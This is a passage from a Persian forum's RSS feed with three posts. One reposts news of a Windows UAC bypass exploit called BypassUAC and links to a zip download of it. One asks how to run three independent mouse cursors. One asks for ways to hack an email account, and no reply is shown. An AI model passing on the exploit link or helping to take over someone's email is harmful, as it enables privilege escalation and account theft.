سازوکار UAC، در تمام نسخه‌های ویندوز ویستا، ۷ و ۸ موجود است، و در صورتی که کاربر مجوز مدیر سامانه را دارا باشد، می‌تواند از بخش Control Panel، تنطیماتِ هشدارهای این سازوکار را تغییر دهد.<br />
<div style="text-align: center;" class="mycode_align">
<img src="http://news.asis.io/sites/default/files/styles/220-320/public/field/image/201210_bypassuac_6.png" alt="[تصویر:  201210_bypassuac_6.png]" class="mycode_img" /></div>
<br />
به‌تازگی کد سوء‌استفاده‌ای منتشر شده‌است که مهاجم را قادر می‌سازد تا این سازوکار امنیتی را در تمام نسخه‌های ویندوز، حتی جدید‌ترین نسخه‌ی آن یعنی ویندوز ۸، دور بزند.<br />
به این ترتیب، حتی اگر یک برنامه‌ی مخرب، قصد ایجاد تغییرات عمده در سامانه‌عامل را داشته باشد، کاربر متوجه این تغییرات نخواهد شد.<br />
چنین آسیب‌پذیری در ویندوز هنوز اصلاح نشده است و در نسخه‌های ۳۲ بیتی و ۶۴ بیتی ویندوز یعنی سامانه‌عامل‌های x86 و x64 قابل سوء‌استفاده می‌باشد. <br />
کد سوء‌استفاده از این آسیب‌پذیری با نامِ BypassUAC از <a href="https://www.trustedsec.com/files/bypassuac.zip" target="_blank" rel="noopener" class="mycode_url">وب‌گاه اصلی</a> قابل بارگیری است.<br />
<br />
<br />
<a href="http://news.asis.io" target="_blank" rel="noopener" class="mycode_url">منبع</a>]]></description>
			<content:encoded><![CDATA[UAC، سازوکاری است که ویندوز برای مدیریت دست‌رسی به حساب‌های کاربری از آن استفاده می‌کند. هربار که برنامه‌ای قصد تغییرات عمده‌ای در سامانه‌عامل دارد، UAC، این مسئله را به کاربر اطلاع می‌دهد و مجوز این کار را از وی دریافت می‌کند.<br />
سازوکار UAC، در تمام نسخه‌های ویندوز ویستا، ۷ و ۸ موجود است، و در صورتی که کاربر مجوز مدیر سامانه را دارا باشد، می‌تواند از بخش Control Panel، تنطیماتِ هشدارهای این سازوکار را تغییر دهد.<br />
<div style="text-align: center;" class="mycode_align">
<img src="http://news.asis.io/sites/default/files/styles/220-320/public/field/image/201210_bypassuac_6.png" alt="[تصویر:  201210_bypassuac_6.png]" class="mycode_img" /></div>
<br />
به‌تازگی کد سوء‌استفاده‌ای منتشر شده‌است که مهاجم را قادر می‌سازد تا این سازوکار امنیتی را در تمام نسخه‌های ویندوز، حتی جدید‌ترین نسخه‌ی آن یعنی ویندوز ۸، دور بزند.<br />
به این ترتیب، حتی اگر یک برنامه‌ی مخرب، قصد ایجاد تغییرات عمده در سامانه‌عامل را داشته باشد، کاربر متوجه این تغییرات نخواهد شد.<br />
چنین آسیب‌پذیری در ویندوز هنوز اصلاح نشده است و در نسخه‌های ۳۲ بیتی و ۶۴ بیتی ویندوز یعنی سامانه‌عامل‌های x86 و x64 قابل سوء‌استفاده می‌باشد. <br />
کد سوء‌استفاده از این آسیب‌پذیری با نامِ BypassUAC از <a href="https://www.trustedsec.com/files/bypassuac.zip" target="_blank" rel="noopener" class="mycode_url">وب‌گاه اصلی</a> قابل بارگیری است.<br />
<br />
<br />
<a href="http://news.asis.io" target="_blank" rel="noopener" class="mycode_url">منبع</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آیا باید ویندوز هک کنم ؟؟؟]]></title>
			<link>https://www.iranled.com/forum/thread-27890.html</link>
			<pubDate>Tue, 04 Mar 2014 13:47:11 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27890.html</guid>
			<description><![CDATA[سلام :<br />
لبتاب من 3 پورت usb داره و میخوام که 3 موس رو بهش وصل کنم و 3 کروزر روی دستکتاب داشته باشم که هر کدام مستقل عمل و حرکت کنند .<br />
ولی هرکار کردم ویندوز همه رو یکی میبینه .<br />
حتی vmware هم نصب کردم که با دو سیستم عامل شاید جواب بگیرم اما باز هم نشد !!!<img src="https://www.iranled.com/forum/images/smilies1/exclamation.gif" alt="Exclamation" title="Exclamation" class="smilie smilie_7" /><br />
برای این کار چکار باید بکنم ؟؟<br />
ممنون میشم راهنمایی کنید .<img src="https://www.iranled.com/forum/images/smilies2/shy.gif" alt="Shy" title="Shy" class="smilie smilie_4" />]]></description>
			<content:encoded><![CDATA[سلام :<br />
لبتاب من 3 پورت usb داره و میخوام که 3 موس رو بهش وصل کنم و 3 کروزر روی دستکتاب داشته باشم که هر کدام مستقل عمل و حرکت کنند .<br />
ولی هرکار کردم ویندوز همه رو یکی میبینه .<br />
حتی vmware هم نصب کردم که با دو سیستم عامل شاید جواب بگیرم اما باز هم نشد !!!<img src="https://www.iranled.com/forum/images/smilies1/exclamation.gif" alt="Exclamation" title="Exclamation" class="smilie smilie_7" /><br />
برای این کار چکار باید بکنم ؟؟<br />
ممنون میشم راهنمایی کنید .<img src="https://www.iranled.com/forum/images/smilies2/shy.gif" alt="Shy" title="Shy" class="smilie smilie_4" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[را هاي هك ايميل ..]]></title>
			<link>https://www.iranled.com/forum/thread-27823.html</link>
			<pubDate>Tue, 18 Feb 2014 12:29:42 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-27823.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">سلام به همگي؛<br />
ميخوام راه هاي هك يك ايميلو بهم بگيد<img src="https://www.iranled.com/forum/images/smilies2/question.gif" alt="Question" title="Question" class="smilie smilie_1" /><br />
كسي هست كمك كنه!؟<img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /></span>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">سلام به همگي؛<br />
ميخوام راه هاي هك يك ايميلو بهم بگيد<img src="https://www.iranled.com/forum/images/smilies2/question.gif" alt="Question" title="Question" class="smilie smilie_1" /><br />
كسي هست كمك كنه!؟<img src="https://www.iranled.com/forum/images/smilies2/biggrin.gif" alt="Biggrin" title="Biggrin" class="smilie smilie_3" /></span>]]></content:encoded>
		</item>
	</channel>
</rss>